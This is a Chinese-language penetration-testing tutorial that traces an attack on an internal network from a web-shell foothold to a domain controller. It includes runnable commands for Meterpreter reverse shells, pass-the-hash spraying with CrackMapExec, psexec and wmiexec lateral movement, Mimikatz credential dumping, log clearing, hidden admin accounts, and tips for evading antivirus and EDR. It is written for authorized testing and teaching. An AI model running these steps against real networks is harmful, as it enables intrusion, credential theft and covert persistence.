内网渗透实战入门:从信息收集到域控的完整路径与工具指南
1. 从“门外汉”到“敲门人”内网渗透实战的认知起点很多刚接触安全的朋友一听到“内网渗透”四个字脑海里可能立刻浮现出电影里黑客在键盘上噼里啪啦、屏幕上代码滚动的炫酷画面觉得这技术高深莫测离自己很远。但事实是内网渗透更像是一场系统性的“寻宝游戏”它有一套清晰的逻辑和路径。你不需要一开始就成为密码学大师或汇编语言专家关键在于理解其核心思想从外部的一个点突破口进入然后像探险家一样在这个封闭的网络世界里逐步摸清地形、发现宝藏敏感数据或关键系统、并最终拿到最高权限的“地图”。我刚开始接触这块的时候也走过不少弯路总想着去死记硬背各种复杂的漏洞利用代码结果遇到真实环境还是一头雾水。后来才明白工具和命令是“术”而渗透的思路和流程才是“道”。这篇文章我就想抛开那些让人望而生畏的理论堆砌以一个过来人的视角结合最常见的实战场景带你走一遍从信息收集到权限维持的完整流程。我们的目标很明确让一个具备基础网络和系统知识的小白看完后能建立起清晰的内网渗透知识框架并能在模拟或授权的测试环境中独立完成一次基础的、有逻辑的渗透过程。简单来说内网渗透测试通常发生在你已经通过某种方式比如钓鱼邮件、Web应用漏洞等拿到了目标网络内部某一台机器的访问权限之后。这台机器就是你的“桥头堡”或“跳板”。接下来的所有工作都将围绕这个跳板展开核心任务可以概括为横向移动在网内找更多机器、权限提升在单台机器上拿到更高权限、信息收集摸清网络结构、用户、资产、纵向穿透攻击核心服务器或域控。我们接下来要聊的就是如何一步步实现这些目标。2. 实战流程全景图一次标准内网渗透的六个阶段在真正动手之前我们必须先在心里画一张“地图”。一次完整的内网渗透无论目标网络规模大小其核心阶段都是相通的。我把它们梳理为以下六个步骤你可以把它看作一个检查清单在实战中随时对照避免迷失方向。2.1 第一阶段站稳脚跟——初始立足点加固与信息收集当你通过一个Web漏洞比如SQL注入上传了Webshell或者一次成功的钓鱼攻击在一台内部主机上获得了命令执行权限比如一个低权限的Webshell或反弹回来的Shell这仅仅是万里长征的第一步。此时你的处境非常脆弱Shell可能随时断开进程可能被安全软件杀掉你的操作可能被日志记录。所以第一步绝不是急着横冲直撞而是**“站稳脚跟”**。你需要做几件事判断当前权限和环境首先用whoami、ipconfig /allWindows或id、ifconfig/ip addrLinux看看自己是谁、在哪。你是普通用户还是系统用户这台机器有没有多个网卡它处在哪个IP段例如192.168.1.100那么192.168.1.0/24很可能就是它的本地局域网。进行初步的本地信息收集系统信息systeminfoWinuname -a、cat /etc/*-releaseLinux。网络信息netstat -anoWin或netstat -tulnpLinux查看当前连接和监听端口这能帮你发现内网的其他服务。arp -aWin或arp -nLinux查看ARP缓存快速发现同网段活跃主机。用户和权限信息net user、net localgroup administratorsWincat /etc/passwd、sudo -lLinux。敏感文件扫描粗略寻找配置文件、密码本、备份文件等。例如在用户目录下搜索*.txt*.config*pass*等。建立可靠的持久化通道一个Webshell或临时的反向Shell是极不稳定的。你需要将其升级为一个更稳定、更隐蔽的后门。常见方法有生成一个马儿并执行使用msfvenom生成一个适合当前系统的木马如exe或elf上传并执行。同时在攻击机上用Metasploit的multi/handler模块监听。创建计划任务或服务在Windows上可以用schtasks创建定时任务定期连接你的监听器。在Linux上可以修改crontab或创建systemd服务。安装SSH后门如果目标有SSH服务可以尝试添加一个 authorized_keys 公钥或者替换恶意的ssh二进制文件。注意这个阶段动作要快但也要轻。避免在获得立足点的机器上运行大量扫描或攻击工具以免触发告警。优先完成持久化保证自己“不掉线”。2.2 第二阶段摸清家底——内网拓扑与资产探测有了一个稳定的据点后我们就要开始“摸清家底”了。目标是绘制出内网的结构图有哪些网段哪些机器是活的这些机器上都开了什么服务发现存活主机这是最基础的一步。基于ARP在Windows上arp -a命令列出的就是当前ARP缓存里的IP-MAC对应表这代表了近期与本机有过通信的同网段主机非常精准快速。基于ICMPPing扫描使用工具如fping、nmap -sn对目标网段进行Ping扫描。但要注意很多内网现在禁用了ICMP回应所以可能会有漏报。基于TCP/UDP端口扫描更可靠的方法是扫描常见端口。即使主机禁Ping如果它开了某个端口如445、22、80我们也能发现它。可以用nmap -sS 192.168.1.0/24进行TCP SYN扫描。端口扫描与服务识别发现存活主机后就要针对单台或一个IP范围进行更细致的端口扫描。全端口扫描nmap -p- 192.168.1.105扫描目标的所有65535个端口。这比较慢但最全面。常用端口快速扫描nmap -sS -sV -O 192.168.1.0/24这是一个组合拳-sSSYN扫描-sV探测服务版本-O探测操作系统。这是内网渗透中最常用的命令之一能快速获取大量信息。重点端口关注内网中需要特别关注的端口包括445SMBWindows文件共享和永恒之蓝等漏洞的入口也是检测MS17-010永恒之蓝的关键。135 139Windows RPC相关服务。22SSHLinux远程管理可能通过弱口令或密钥泄露突破。3389RDPWindows远程桌面同样是弱口令和漏洞的高发地。1433MSSQL3306MySQL5432PostgreSQL数据库服务可能存有核心业务数据。6379Redis未授权访问漏洞常见。80 443 8080Web服务可能存在新的Web漏洞。绘制网络拓扑通过上述扫描你可能会发现多个网段。例如你的跳板机在192.168.1.0/24但扫描发现它还与10.10.10.0/24网段有连接。这说明网络可能存在多层结构。你可以用工具如nmap的--traceroute选项或图形化工具如NetworkMapper来辅助理解网络路径。简单情况下在笔记或思维导图上手工记录即可。2.3 第三阶段扩大战果——漏洞利用与横向移动知道了哪些机器活着、开了什么服务接下来就是尝试“登门入户”了。横向移动的目标是获取更多主机的权限。利用漏洞进行攻击永恒之蓝MS17-010这是内网横向的“大杀器”。如果发现开放445端口且未打补丁的Windows 7/Server 2008等机器利用成功率极高。使用Metasploit的exploit/windows/smb/ms17_010_eternalblue模块设置好参数即可尝试攻击。其他SMB/RPC漏洞如MS08-067古老但某些内网仍有 CVE-2020-0796SMBGhost等。Web漏洞如果内网有开发、测试或运维后台的Web系统可以尝试SQL注入、文件上传、命令执行等常见Web漏洞。服务漏洞针对特定服务版本的漏洞如Apache Struts2反序列化、Tomcat弱口令/后台部署war包、Redis未授权访问写计划任务/SSH key等。利用凭据进行攻击更常见 内网渗透中靠漏洞“硬刚”的情况相对较少更多时候是靠“偷来的钥匙开门”也就是凭据攻击。密码喷洒当你收集到一些用户名如通过net user /domain或LDAP查询获得域用户列表后可以用几个常用或弱密码如Company2024Welcome1Password123去批量尝试登录SMB445、RDP3389、SSH22等服务。工具如CrackMapExec、Hydra、Medusa非常好用。哈希传递这是Windows域环境中极其高效的横向移动技术。如果你在一台机器上抓取到了本地管理员或域用户的NTLM哈希而非明文密码你可以直接使用这个哈希去验证其他机器无需破解。工具CrackMapExec的-H参数或者Metasploit的psexec模块配合哈希都能轻松完成。票据传递在Kerberos认证的域环境中如果你拿到了域控的KRBTGT账户哈希可以制作黄金票据获得域内任意服务的访问权限如果拿到了某个域用户的TGT票据可以进行白银票据攻击。工具如Mimikatz、Impacket套件中的相关脚本。利用共享和计划任务如果你有某台机器的本地管理员凭据可以通过psexec、wmic、sc等命令远程执行命令。例如psexec \\192.168.1.10 -u admin -p password cmd.exe。实操心得横向移动时优先尝试凭据攻击尤其是密码喷洒和哈希传递。因为它们噪音相对较小不像漏洞利用可能引发蓝屏或明显告警。永远记得在获取一台新机器的权限后第一时间尝试抓取密码哈希用Mimikatz或sekurlsa::logonpasswords和查看敏感文件为下一步移动积累“弹药”。2.4 第四阶段权限提升——从User到System/Admin在横向移动过程中你获得的初始权限可能很低如一个普通域用户、一个Web应用权限。为了能安装后门、抓取哈希、进行更深入的操作你需要进行权限提升。Windows提权内核漏洞提权这是最直接的方法。使用systeminfo查看系统补丁情况然后利用对应的本地提权EXP。常用工具如Windows-Exploit-Suggester、Watson可以帮你快速识别可能的漏洞。例如著名的CVE-2021-1675PrintNightmare、CVE-2020-0787等。服务漏洞提权检查系统中是否存在配置错误的服务比如服务二进制文件路径普通用户可写就可以替换为恶意程序或者服务以SYSTEM权限运行但存在DLL劫持漏洞。计划任务提权检查计划任务看是否有以高权限运行的任务其执行脚本或程序是否可被修改。AlwaysInstallElevated如果组策略中启用了“始终以高权限安装”那么任何用户都能以SYSTEM权限运行MSI安装包。令牌窃取如果机器上有其他高权限用户登录的会话可以使用Mimikatz的token::elevate或Incognito工具进行令牌窃取。Linux提权内核漏洞提权同样使用uname -a查看内核版本寻找对应的本地提权EXP。工具如Linux Exploit Suggester。SUID/GUID文件滥用查找设置了SUID位的文件find / -perm -us -type f 2/dev/null如果其中某些命令如findvimbashcp等配置不当可以利用它们来提权。sudo权限滥用运行sudo -l查看当前用户能以root身份运行哪些命令。如果配置不当如允许运行vipythonperl等可以直接通过这些命令启动一个root shell。环境变量劫持如果以高权限运行的脚本或程序调用了未使用绝对路径的命令可以通过修改PATH环境变量来劫持。计划任务检查/etc/crontab和用户crontab看是否有高权限任务调用了可写的脚本。2.5 第五阶段核心目标——域渗透与信息收割对于存在Active Directory域的企业内网终极目标往往是域控制器。控制了域控就等于控制了整个域内的所有用户、计算机和资源。判断是否在域中在Windows上systeminfo查看“域”信息或者echo %logonserver%、net config workstation。域内信息收集net user /domain列出所有域用户。net group /domain列出所有域组。net group Domain Admins /domain查看域管理员组成员。net view /domain查看域列表。net view /domain:域名查看域内机器列表。使用PowerViewPowerShell脚本可以获取更丰富的信息如用户详情、SPN服务主体名称等。攻击域控利用域管凭据如果你通过横向移动拿到了某个域管理员组成员的密码或哈希可以直接登录域控通过RDP、WinRM或psexec。DCSync攻击如果你获得了域内任一用户的Replicating Directory Changes权限通常域管和特定服务账户有可以使用Mimikatz的lsadump::dcsync功能直接向域控请求同步指定用户的哈希从而获取KRBTGT哈希。Kerberoasting通过请求域内注册了SPN的服务账户的TGS票据这些票据使用服务账户的哈希加密。我们可以将其导出并离线破解从而可能获得高权限服务账户的密码。AS-REP Roasting如果域用户设置了“不要求Kerberos预认证”我们可以直接为其请求AS-REP响应其中包含用其密码加密的数据可离线破解。信息收割在控制关键服务器如文件服务器、数据库服务器、版本控制服务器后进行敏感信息收集。搜索文档、代码库、配置文件、数据库备份等寻找密码、密钥、业务数据等。2.6 第六阶段清理痕迹与权限维持在测试的最后或者需要长期潜伏时这一步至关重要。清理痕迹清除日志Windows事件日志安全、系统、应用、IIS/Apache访问日志、数据库日志等。可以使用wevtutil命令或Metasploit的clearev模块。删除工具和文件上传的工具、生成的木马、临时文件等。恢复配置如果修改了系统配置如防火墙规则、服务启动项尽量恢复原状。权限维持创建隐藏后门账户在Windows上创建用户名以$结尾的隐藏账户并加入管理员组。SSH后门在Linux上除了authorized_keys还可以修改~/.ssh/authorized_keys文件或者利用sshd的AuthorizedKeysCommand等配置。启动项/服务在Windows注册表Run键、服务中Linux的rc.local、systemd服务中植入后门。计划任务创建定期连接C2服务器的计划任务。DLL劫持/映像劫持利用系统加载DLL或程序的机制加载恶意DLL。3. 工具库与兵器谱Kali Linux中的核心利器工欲善其事必先利其器。Kali Linux集成了海量的安全工具对于内网渗透以下几类是必须熟悉的。我不建议你一次性学完所有工具而是根据上面流程的每个阶段掌握对应的核心工具即可。3.1 信息收集与扫描类Nmap端口扫描的王者无人不知。前面已经介绍了基本用法。它的脚本引擎NSE更强大例如nmap --script smb-vuln-ms17-010.nse可以直接检测目标是否存在永恒之蓝漏洞。Netdiscover基于ARP的主动/被动主机发现工具在内网中速度极快非常精准。Masscan号称“最快的端口扫描器”全端口扫描速度惊人适合快速扫描大网段。但结果不如Nmap细致。SNMPwalk如果内网网络设备交换机、路由器或服务器开启了SNMP且配置了弱社区字符串如public可以用它获取大量系统信息、网络接口、路由表等。3.2 漏洞利用与框架类Metasploit Framework渗透测试的瑞士军刀。它集成了漏洞扫描、利用、后渗透模块于一体。对于内网渗透它的meterpretershell功能强大端口转发、哈希抓取、跳板等psexec、smb等模块是横向移动的利器。学习它的msfconsole基本命令和模块使用是必修课。Searchsploit离线漏洞库查询工具可以快速在本地查找公开的漏洞利用代码。Impacket一个Python编写的工具套件专注于对SMB、RPC等协议进行低级编程访问。它里面的psexec.pysmbexec.pywmiexec.py是横向移动的神器secretsdump.py可以远程抓取哈希ntlmrelayx.py用于NTLM中继攻击。强烈推荐深入学习Impacket。3.3 凭据攻击与密码破解类Hashcat世界上最快的密码恢复工具支持GPU加速能破解各种哈希NTLM LM MD5 SHA等。在内网拿到哈希后常需要用它进行离线破解。John the Ripper另一款老牌密码破解工具功能强大社区规则丰富。Hydra在线密码爆破工具支持海量协议RDP SSH FTP HTTP表单等。常用于密码喷洒攻击。Medusa类似于Hydra的并行登录暴力破解工具。CrackMapExec我称之为“内网大杀器”。它一款基于Python的“瑞士军刀”能使用SMB、WinRM、MSSQL、SSH等多种协议利用凭据密码或哈希在网络上自动执行攻击。一条命令就能完成对整个网段的密码喷洒、哈希传递、命令执行等效率极高。3.4 后渗透与横向移动类MimikatzWindows凭证提取的终极工具。可以抓取内存中的明文密码、哈希、票据。它的功能远不止于此还包括票据传递、黄金票据制作、DCSync等。是域渗透的核心工具。PowerSploit/Empire/Cobalt Strike这些是高级的“攻击框架”。它们使用PowerShell或无文件技术在内存中执行攻击载荷规避传统杀软。Cobalt Strike更是团队协作、命令控制的标杆但属于商业工具。对于初学者可以从PowerSploit的模块学起。Proxychains代理工具。当你在内网中通过跳板机访问另一个网段时需要配置代理。Proxychains可以让你的命令行工具如nmap sqlmap的流量通过指定的SOCKS或HTTP代理出去是内网穿透的必备。SSH隧道Linux下最天然的端口转发工具。ssh -L本地转发-R远程转发-D动态转发/SOCKS代理是必须掌握的基本功。3.5 网络监听与中间人攻击类Responder/InveighLLMNR/NBT-NS/mDNS毒化工具。在内网中当Windows主机解析主机名失败时会使用这些协议进行广播查询。Responder可以伪装成目标主机骗取客户端的NTLMv2哈希。这是获取初始哈希的经典方法。BetterCAP功能强大的中间人攻击框架支持ARP欺骗、DNS欺骗、HTTP/HTTPS流量拦截等。Wireshark/Tcpdump网络抓包分析工具。用于分析协议、调试攻击、提取敏感信息。4. 实战案例拆解模拟一次简单的内网横向移动理论说再多不如动手走一遍。我们假设一个最简单的场景你已经通过一个Web漏洞拿到了内网一台Web服务器Windows Server 2012 IP: 192.168.1.100的普通用户权限的Shell。目标探索内网并尝试获取域控权限。步骤1立足与信息收集在Webshell中执行whoami和ipconfig /all。发现你是iisapp用户机器在192.168.1.0/24网段DNS服务器指向192.168.1.10这很可能就是域控。立即上传一个用msfvenom生成的Meterpreter后门exe并执行。在Kali上启动msfconsole使用exploit/multi/handler模块设置好payload为windows/meterpreter/reverse_tcp监听本机IP和端口。成功获得Meterpreter会话。首先进行本地信息收集run post/windows/gather/enum_logged_on_users查看登录用户。hashdump尝试抓取本地用户哈希可能需要提权。run post/windows/gather/enum_domain尝试获取域信息。步骤2权限提升发现当前是普通用户hashdump失败。使用getsystem命令尝试自动提权失败。上传Windows-Exploit-Suggester脚本或本地提权检查工具如Sherlock的PowerShell脚本。通过系统信息发现补丁较旧存在CVE-2021-1675PrintNightmare漏洞。在Meterpreter中使用upload上传PrintNightmare的EXP一个dll文件然后通过execute或迁移到有权限的进程后运行EXP成功获得SYSTEM权限。再次运行hashdump成功获取本地管理员Administrator的NTLM哈希。步骤3内网探测在Meterpreter会话中使用run autoroute -s 192.168.1.0/24添加路由让MSF的流量能到达这个网段。背景化当前会话background使用MSF的auxiliary/scanner/portscan/tcp模块扫描192.168.1.0/24网段发现除了本机100和疑似域控10外还有192.168.1.50开445 3389192.168.1.150开22 80等主机。步骤4横向移动尝试哈希传递我们拿到了192.168.1.100本地管理员的哈希。假设内网机器使用了相同的本地管理员密码很常见。使用CrackMapExeccrackmapexec smb 192.168.1.0/24 -u Administrator -H [这里是Administrator的NTLM哈希] -x whoami这条命令会用哈希尝试登录网段内所有主机的445端口并执行whoami命令。幸运的话你会发现192.168.1.50也执行成功了。建立新会话既然192.168.1.50的本地管理员密码相同我们可以直接用psexec模块获取它的Shell。在MSF中use exploit/windows/smb/psexec set RHOSTS 192.168.1.50 set SMBUser Administrator set SMBPass [哈希格式为 LMHASH:NTHASH如果LM为空则用32个0代替] set PAYLOAD windows/meterpreter/reverse_tcp set LHOST [你的Kali IP] set LPORT 4445 exploit成功获得192.168.1.50的Meterpreter会话。步骤5域信息收集与攻击域控在192.168.1.50的会话中发现它是一台域成员机器。运行net user /domain获取域用户列表。运行Mimikatz通过load kiwi或上传抓取这台机器上的内存凭证。运气好的话可能抓到某个域用户的明文密码或哈希。假设抓到了一个域用户zhangsan的密码。用CrackMapExec测试这个密码是否是域管crackmapexec smb 192.168.1.10 -u zhangsan -p password -x whoami如果返回的whoami结果包含域名且权限很高说明成功。或者使用wmiexec.pyImpacket直接连接域控执行命令python3 wmiexec.py domain/zhangsan:password192.168.1.10至此你已获得域控的命令行权限。这个案例简化了很多细节和防御规避但它清晰地展示了从一点突破通过信息收集、提权、横向移动最终到达核心目标的基本逻辑链条。5. 新手避坑指南与高阶思考走完一遍流程你可能觉得“好像也不难”。但在真实环境中你会遇到各种“坑”。下面分享一些我踩过的坑和心得。5.1 常见问题与排查技巧扫描没结果可能是防火墙阻挡。尝试不同的扫描方式-sS -sT -sU或者使用-Pn参数跳过主机发现直接扫描端口。也要检查代理或路由是否配置正确。漏洞利用总失败首先确认目标服务版本和漏洞是否匹配。其次检查payload是否被拦截杀软、EDR。尝试编码payload或使用msfvenom的-e参数进行编码或使用Cobalt Strike等更高级的免杀技术。哈希传递PTH失败检查目标系统是否启用了“受限管理模式”。在较新的Windows系统上默认可能阻止了非交互式登录的PTH。可以尝试使用其他协议如WinRM5985端口或WMI135端口工具如CrackMapExec的winrm或wmi协议模块。工具被杀这是常态。尽量使用无文件、内存加载的技术。PowerShell脚本可以分段执行、混淆、从远程加载。Metasploit的meterpreter可以迁移进程、注入到合法进程内存中。上传的工具尽量改名或使用合法软件的签名进行伪装。流量被监控所有通信尽量加密。Meterpreter的HTTPS payload Cobalt Strike的Beacon 或者使用自定义的加密隧道。避免使用明显的默认端口4444 5555。5.2 心态与原则授权授权授权这是红线中的红线。任何渗透测试必须在获得目标系统所有者明确书面授权的前提下进行。未经授权的测试是违法行为。最小化影响测试过程中尽量避免对业务系统造成影响。不执行rm -rf /、format c:之类的破坏性命令。不篡改真实业务数据。记录一切详细记录你的每一步操作、命令、结果。这不仅是报告的需要也是当你操作失误时回溯排查的唯一依据。从简单开始不要一开始就想着用零日漏洞。绝大多数成功的渗透都始于弱口令、未修复的已知漏洞如永恒之蓝或配置错误。先做最基础的检查和尝试。理解胜于记忆不要死记命令。理解每条命令背后的原理它在和哪个协议交互发送了什么数据包。这样当你遇到新环境时才能灵活变通。构建自己的知识库将每次测试中学到的新技术、新工具、新绕过方法记录下来形成自己的笔记。内网渗透技术迭代很快持续学习是关键。内网渗透是一个深度与广度并重的领域这篇文章就像一张简略的“藏宝图”为你指出了主要的路径和地标。真正的“精通”需要你在无数次的授权实战、实验室复现和持续学习中将地图上的每个点都变成你肌肉记忆的一部分。记住保持好奇心保持敬畏心永远在学习的路上。